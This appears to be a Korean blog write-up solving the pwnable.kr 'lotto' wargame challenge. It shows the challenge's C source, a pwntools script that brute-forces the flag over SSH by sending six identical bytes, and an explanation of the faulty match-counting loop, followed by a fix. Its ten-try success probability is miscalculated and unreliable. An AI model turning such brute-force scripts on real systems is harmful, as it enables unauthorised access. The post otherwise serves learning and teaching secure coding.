security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] lotto

민사민서 2023. 2. 5. 22:31
from pwn import *
s = ssh(user="lotto", host="pwnable.kr", port=2222, password="guest")
p = s.process(executable="/home/lotto/lotto")

guess = "\x22"*6
cnt = 0
while True:
    cnt += 1
    p.recvuntil("Exit\n")
    p.sendline("1")
    p.recvuntil("bytes : ")
    p.send(guess)
    p.recvline()
    res = p.recvline()
    print(res)
    if res[0:3]!=b'bad' or cnt>50:
        break

print("Brute Force Haha...")

 

<code>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
   
   int i;
   printf("Submit your 6 lotto bytes : ");
   fflush(stdout);

   int r;
   r = read(0, submit, 6);

   printf("Lotto Start!\n");
   //sleep(1);

   // generate lotto numbers
   int fd = open("/dev/urandom", O_RDONLY);
   if(fd==-1){
      printf("error. tell admin\n");
      exit(-1);
   }
   unsigned char lotto[6];
   if(read(fd, lotto, 6) != 6){
      printf("error2. tell admin\n");
      exit(-1);
   }
   for(i=0; i<6; i++){
      lotto[i] = (lotto[i] % 45) + 1;       // 1 ~ 45
   }
   close(fd);
   
   // calculate lotto score
   int match = 0, j = 0;
   for(i=0; i<6; i++){
      for(j=0; j<6; j++){
         if(lotto[i] == submit[j]){
            match++;
         }
      }
   }

   // win!
   if(match == 6){
      system("/bin/cat flag");
   }
   else{
      printf("bad luck...\n");
   }

}

void help(){
   printf("- nLotto Rule -\n");
   printf("nlotto is consisted with 6 random natural numbers less than 46\n");
   printf("your goal is to match lotto numbers as many as you can\n");
   printf("if you win lottery for *1st place*, you will get reward\n");
   printf("for more details, follow the link below\n");
   printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
   printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

   // menu
   unsigned int menu;

   while(1){

      printf("- Select Menu -\n");
      printf("1. Play Lotto\n");
      printf("2. Help\n");
      printf("3. Exit\n");

      scanf("%d", &menu);

      switch(menu){
         case 1:
            play();
            break;
         case 2:
            help();
            break;
         case 3:
            printf("bye\n");
            return 0;
         default:
            printf("invalid menu\n");
            break;
      }
   }
   return 0;
}

<exploit>
for(i=0; i<6; i++){
   for(j=0; j<6; j++){
      if(lotto[i] == submit[j]){
         match++;
      }
   }
}
이 부분이 미흡하다,, submit을 전부 동일한 값으로 해버리면 lotto 중 숫자 한개만 같아도 match=6 됨 
로또 각 번호 독립시행이라는 가정하에 맞출 확률 1-(44/45)^6 = 12.8% 정도
brute force 해볼만하다?!
10번 시도해서 맞출확률 1-(0.128)^10 = 99.9999% ㅋㅋㅋㅋㅋㅋ

/dev/urandom: 리눅스에서 난수 생성하기 위한 디바이스 파일, 랜덤한(예측 불가능한) 문자열 반환하므로 취약점은 없다고 봐도 무방 

<개선방안?>
이미 match된 index(lotto[i]에서 i)는 비교대상에서 제외해야함